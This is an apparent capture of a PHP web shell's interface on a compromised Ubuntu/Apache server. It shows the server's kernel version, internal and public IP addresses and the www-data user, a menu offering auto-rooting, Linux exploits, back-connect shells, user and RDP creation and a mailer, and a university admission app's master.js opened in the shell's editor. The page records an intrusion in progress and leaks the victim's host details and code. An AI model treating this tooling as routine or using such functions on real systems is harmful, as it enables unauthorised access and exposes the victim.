Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.217.228.195
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
admission /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
callCand.js
854
B
-rw-r--r--
createUser.js
35.25
KB
-rw-rw-r--
datatables.min.js
473.75
KB
-rw-r--r--
master.js
17.98
KB
-rwxr-xr-x
payments.js
9.32
KB
-rw-rw-r--
register.js
60.56
KB
-rw-r--r--
signin_rr.js
86.88
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : master.js
var newArr = []; function crtMaster(datatype) { $.ajax({ type: "GET", url: $host_url + "getPriority&univcode=" + sessionStorage.getItem("univ") + "&datatype=" + datatype, success: function (res) { // if (res.error_code == 0) { newArr = res.data; disCrtPriort(datatype); return; // } else { // Swal.fire({ // icon: "error", // title: "Error", // text: res.data.msg, // }); // return; // } }, }); } function disCrtPriort(datatype) { $("#app-dashboard").load("masterScr.html", function () { var title = ""; if (datatype == "Priority") { title = "Create Priority"; } else if (datatype == "Source") { title = "Create Source"; } else if (datatype == "Call") { title = "Create Call Status"; } else if (datatype == "Seat") { title = "Create Seat Type"; } else if (datatype == "State") { title = "Create State Type"; } // $("#save_mstr").click(saveCrtPriort(datatype)); $("#masterScr_title").html(title); let leadDet = ""; leadDet += `<style>.sl_no{width:20px}</style> <script> $('#example').DataTable({ "lengthMenu": [ [10, 25, 50, 100], [10, 25, 50, 100] ], "pageLength": 50 }) </script><table id="example" class="table table-bordered" style='position: relative;border-collapse: collapse; width: 100%;'> <thead style="background: #007bff; color:white;position: sticky; top: 0;"> <tr> <th class="sl_no" style="text-align: center">Sl no.</th> <th style="text-align: center">Title</th> <th class="sl_no" style="text-align: center">Deleted</th> </tr> </thead>`; for (var i = 0; i < newArr.length; i++) { var checked = ""; if (newArr[i]["fdeleted"] == "T") { checked = "checked"; } leadDet += `<tbody id='tableData'><tr style="text-align: center">`; leadDet += `<td style="text-align: center;"class="sl_no" id="fslno_${i}">${ i + 1 }</td>`; leadDet += `<td style="text-align: initial" id="fname_${i}"><input type='text' style='width:100%' value='${newArr[i]["ftitle"]}' onblur='updatePriority(${i}, this.value)' /></td>`; leadDet += `<td class="sl_no" id="fdelete_${i}"><input type='checkbox' id='delprior_${i}' onchange='deletPriot(${newArr[i]["fid"]},${i})' ${checked} onblur='addNewPriot()'/></td>`; leadDet += `</tr>`; } leadDet += `</tbody> </table>`; $("#fmaster_scr").html(leadDet); }); } function updatePriority(index, value) { newArr[index].ftitle = value; } function saveCrtPriort() { let funivcode = sessionStorage.getItem("univ"); let title = $("#masterScr_title").html(); if (title == "Create Priority") { datatype = "Priority"; } else if (title == "Create Source") { datatype = "Source"; } else if (title == "Create Call Status") { datatype = "Call"; } var finArr = []; for (var i = 0; i < newArr.length; i++) { if (newArr[i]["ftitle"] != "") { finArr.push(newArr[i]); } } $.ajax({ type: "POST", url: $host_url + "saveCrtPriort&univcode=" + funivcode + "&datatype=" + datatype + "&findata=" + JSON.stringify(finArr), success: function (res) { console.log(res); if (res.error_code == 0) { Swal.fire({ icon: "success", title: "Success", text: res.data.msg, }); return; } else { Swal.fire({ icon: "error", title: "Error", text: res.data.msg, }); return; } }, }); } function deletPriot(fid, i) { var checked = document.getElementById("delprior_" + i).checked; newArr.forEach((e) => { if (fid == e.fid) { if (checked == true) { e.fdeleted = "T"; } else if (checked == false) { e.fdeleted = "F"; } } }); } function addNewPriot() { var title = $("#masterScr_title").html(); var datatype = ""; if (title == "Create Priority") { datatype = "Priority"; } else if (title == "Create Source") { datatype = "Source"; } else if (title == "Create Call Status") { datatype = "Call"; } for (var i = 0; i < newArr.length; i++) { console.log(newArr[i]["ftitle"]); if (newArr[i]["ftitle"] == "") { Swal.fire({ icon: "error", title: "Error", text: "Please Enter previous row", }); return; } } var newData = { fid: newArr.length + 1, ftitle: "", fdeleted: "F", }; newArr.push(newData); disCrtPriort(datatype); } function createAgent() { $("#app-dashboard").load("createAgent.html", function () { $.ajax({ type: "POST", url: $host_url + "getCollDet&univcode=" + sessionStorage.getItem("univ") + "&fusertype=" + fusertype, success: function (res) { $("#loader").hide(); if (res.error_code == 0) { var fcollopt = ``; for (var i = 0; i < res.data.length; i++) { fcollopt += `<option value='${res.data[i].fcolldeg}'>${res.data[i].fnamedeg}</option>`; } $("#agt_deg").html(fcollopt); } else { Swal.fire({ icon: "error", title: "Error", text: res.data.msg, }); return; } }, }); }); } function saveAgentDet() { var fagtname = $("#agt_name").val(); var fagtemail = $("#agt_email").val(); var fagtmobile = $("#agt_mobile").val(); var fagtdegree = $("#agt_deg").val(); var agt_code = $("#agt_code").val(); var add1 = $("#agent_addr1").val(); var add2 = $("#agent_addr2").val(); var add3 = $("#agent_addr3").val(); var add4 = $("#agent_addr4").val(); var fagttype = $("#fagttype").val(); let funivcode = sessionStorage.getItem("univ"); if (fagtname == "") { Swal.fire({ icon: "error", title: "Name", text: "Enter Agent Name", }); $("#agt_name").focus(); return; } if (fagtemail == "") { Swal.fire({ icon: "error", title: "Email", text: "Enter Agent Email", }); $("#agt_email").focus(); return; } if (fagtmobile == "") { Swal.fire({ icon: "error", title: "Mobile No", text: "Enter Agent Mobile No", }); $("#agt_name").focus(); return; } if (add1 == "") { Swal.fire({ icon: "error", title: "Address", text: "Enter Address", }); $("#agent_addr1").focus(); return; } if (add2 == "") { Swal.fire({ icon: "error", title: "Address", text: "Enter Address", }); $("#agent_addr2").focus(); return; } if (agt_code == "") { Swal.fire({ icon: "error", title: "Address", text: "Enter Agent Code", }); $("#agt_code").focus(); return; } $.ajax({ type: "POST", url: $host_url + "saveAgentDet&univcode=" + funivcode + "&fagtname=" + fagtname + "&fagtemail=" + fagtemail + "&fagtmobile=" + fagtmobile + "&fagtdegree=" + fagtdegree + "&add1=" + add1 + "&add2=" + add2 + "&add3=" + add3 + "&add4=" + add4 + "&agt_code=" + agt_code + "&fagttype=" + fagttype, success: function (res) { if (res.error_code == 0) { Swal.fire({ icon: "success", title: "Success", text: res.data.msg, }); $("#agt_name").val(""); $("#agt_email").val(""); $("#agt_mobile").val(""); $("#agt_deg").val(""); $("#agt_code").val(""); $("#agent_addr1").val(""); $("#agent_addr2").val(""); $("#agent_addr3").val(""); $("#agent_addr4").val(""); $("#agt_email").prop("disabled", false); $("#agt_code").prop("disabled", false); return; } else { Swal.fire({ icon: "error", title: "Error", text: res.data.msg, }); return; } }, }); } function getAgentDet() { let funivcode = sessionStorage.getItem("univ"); $("#loader").show(); $.ajax({ type: "GET", url: $host_url + "getAgentDet&univcode=" + funivcode, success: function (res) { $("#loader").hide(); if (res.error_code == 0) { let agentdet = res.data; let filterData = ""; filterData += `<script> $('#example').DataTable({ "lengthMenu": [ [10, 25, 50, 100], [10, 25, 50, 100] ], "pageLength": 50 }) </script> <table class="table table-bordered" id='example' style = "position: relative; border-collapse: collapse;width:100%" > <thead style="background-color: #007bff; color: white;position: sticky; top: 0;"> <tr> <th scope="col" style="text-align: center">Sl no.</th> <th scope="col" style="text-align: center">Agent Code</th> <th scope="col" style="text-align: center">Agent Name</th> <th scope="col" style="text-align: center">Mobile No.</th> <th scope="col" style="text-align: center">E-mail ID</th> <th scope="col" style="text-align: center">Active</th> <th scope="col" style="text-align: center">Action</th> </tr> </thead> <tbody>`; var edit = "edit"; for (var i = 0; i < agentdet.length; i++) { filterData += `<tr> <td style="text-align: center">${i + 1}</td> <td style="text-align: center;">${agentdet[i].FAGCODE}</td> <td>${agentdet[i].FAGNAME}</td> <td style="text-align: center">${agentdet[i].FMOBILE}</td> <td>${agentdet[i].FEMAIL}</td> <td style="text-align: center">${agentdet[i].factiive}</td> <td style="text-align: center;"><button class="btn btn-success" onclick='editAgentDet(${ agentdet[i].FINTNO },${ agentdet[i].FAGCODE })'>Edit</button><button class="btn btn-danger ml-2" onclick='deleteAgent(${ agentdet[i].FINTNO },${agentdet[i].FAGCODE})'>Delete</button></td></tr>`; } filterData += `</tbody> </table>`; $("#app-dashboard").load("./agentDetScr.html", function () { $("#fagent_det").html(filterData); }); } else { Swal.fire({ icon: "error", title: "Error", text: res.data.msg, }); return; } }, }); } function editAgentDet(agentInt, typ) { // $("#loader").show(); $.ajax({ type: "GET", url: $host_url + "editAgentDet&univcode=" + sessionStorage.getItem("univ") + "&agentInt=" + agentInt, success: function (res) { $("#loader").hide(); if (res.error_code == 0) { $("#app-dashboard").load("./createAgent.html", function () { getLeadDegree(); $("#agt_name").val(res.data.FAGNAME); $("#agt_email").val(res.data.FEMAIL); $("#agt_mobile").val(res.data.FMOBILE); $("#agent_addr1").val(res.data.FADDR1); $("#agent_addr2").val(res.data.FADDR2); $("#agent_addr3").val(res.data.FADDR3); $("#agent_addr4").val(res.data.FADDR4); $("#agt_code").val(res.data.FAGCODE); $("#fagttype").val("edit"); $("#agt_email").prop("disabled", true); $("#agt_code").prop("disabled", true); var options = res.data.FDEGPERM.split("*"); var select = $("#agt_deg"); options.forEach(function (option) { $("#agt_deg").append(option); }); select.select2(); }); } else { Swal.fire({ icon: "error", title: "Error", text: res.data.msg, }); return; } }, }); } function deleteAgent(agentInt, agtcode) { Swal.fire({ title: "Are you sure do you want delete?", confirmButtonText: `OK`, showCancelButton: true, confirmButtonColor: "#5495ff", }).then((res) => { if (res.isConfirmed) { $("#loader").show(); $.ajax({ type: "POST", url: $host_url + "deleteAgentDet&univcode=" + sessionStorage.getItem("univ") + "&agentInt=" + agentInt + "&agtcode=" + agtcode, success: function (res) { if (res.error_code == 0) { $("#loader").hide(); getAgentDet(); Swal.fire({ icon: "success", title: "Success", text: res.data.msg, }); return; } else { $("#loader").hide(); Swal.fire({ icon: "error", title: "Error", text: res.data.msg, }); return; } }, }); } }); } function getRegStdData(fdatype) { let funivcode = sessionStorage.getItem("univ"); $("#loader").show(); $.ajax({ type: "GET", url: $host_url + "getAgtStdData&univcode=" + funivcode + "&fdatype=" + fdatype, success: function (res) { if (res.error_code == 0) { let agentdet = res.data; if (fdatype == "App" || fdatype == "Reg") { if (fdatype == "App") { var title = "Applied Student"; } else { var title = "Registered Student"; } var tit = "Created Date"; } else if (fdatype == "Adm") { var tit = "Payment Date"; var title = "Admited Student"; } $("#agt_tit").text(title); let filterData = ""; filterData += `<script> $('#example').DataTable({ "lengthMenu": [ [10, 25, 50, 100], [10, 25, 50, 100] ], "pageLength": 50 }) </script> <table class="table table-bordered" id='example' style = "position: relative; border-collapse: collapse;width:100%" > <thead style="background-color: #007bff; color: white;position: sticky; top: 0;"> <tr> <th scope="col" style="text-align: center;width:5%">Sl no.</th> <th scope="col" style="text-align: center">Name</th> <th scope="col" style="text-align: center">Mobile No.</th> <th scope="col" style="text-align: center">E-mail ID</th> <th scope="col" style="text-align: center">Degree</th> <th scope="col" style="text-align: center">${tit}</th> <th scope="col" style="text-align: center">Status</th> </tr> </thead> <tbody>`; for (var i = 0; i < agentdet.length; i++) { filterData += `<tr> <td style="text-align: center;width:5%">${i + 1}</td> <td style="text-align: center;">${agentdet[i].fname}</td> <td style="text-align: center">${agentdet[i].fmobile}</td> <td>${agentdet[i].femail}</td> <td>${agentdet[i].fdescpn}</td> <td style="text-align: center;">${agentdet[i].fcreatedate}</td> <td style="text-align: center">${ agentdet[i].fleadstatus }</td></tr>`; } filterData += `</tbody> </table>`; $("#loader").hide(); $("#app-dashboard").load("agentStdScr.html", function () { $("#fagt_std").html(filterData); }); } else { $("#loader").hide(); Swal.fire({ icon: "error", title: "Error", text: res.data.msg, }); return; } }, }); } function sharStdUrl() { let funivcode = sessionStorage.getItem("univ"); $("#loader").show(); $.ajax({ type: "GET", url: $host_url + "getAgtUrlQR&univcode=" + funivcode, success: function (res) { if (res.error_code == 0) { $("#loader").hide(); $("#app-dashboard").load("agentUrlScr.html", function () { var qrpath = $url + "uploads/" + res.data.fqrpath; var url = $url + "index_" + funivname + ".html?a=" + res.data.fintno; $("#fagt_qr").attr("src", qrpath); $("#fagt_url").val(url); }); } else { $("#loader").hide(); Swal.fire({ icon: "error", title: "Error", text: res.data.msg, }); return; } }, }); } function copyAgtUrl(message) { var input = $("#fagt_url")[0]; input.select(); navigator.clipboard .writeText(input.value) .then(function () { alertMessage.textContent = message; alertModal.style.display = "block"; setTimeout(function () { alertModal.style.display = "none"; }, 2000); }) .catch(function () { alert("Failed to copy"); }); } function shareViaWhatsApp() { var imageUrl = $("#fagt_qr").attr("src"); var webUrl = $("#fagt_url").val(); var message = "QR Code Scan and register: " + imageUrl + " OR Website URL for register: " + webUrl; var encodedMessage = encodeURIComponent(message); var whatsappUrl = "whatsapp://send?text=" + encodedMessage; window.location.href = whatsappUrl; } function getAppliction() { $("#app-dashboard").load("personal.html", function () { // getStdAppData(); getCategory(); getStates(); getDistrict(); }); } function getStudApp() { var fappno = $("#fappno_dat").val(); var url = $host_url + "genrateAppl&univcode=" + sessionStorage.getItem("univ") + "&app_no=" + fappno; window.open(url, "_blank"); }
Close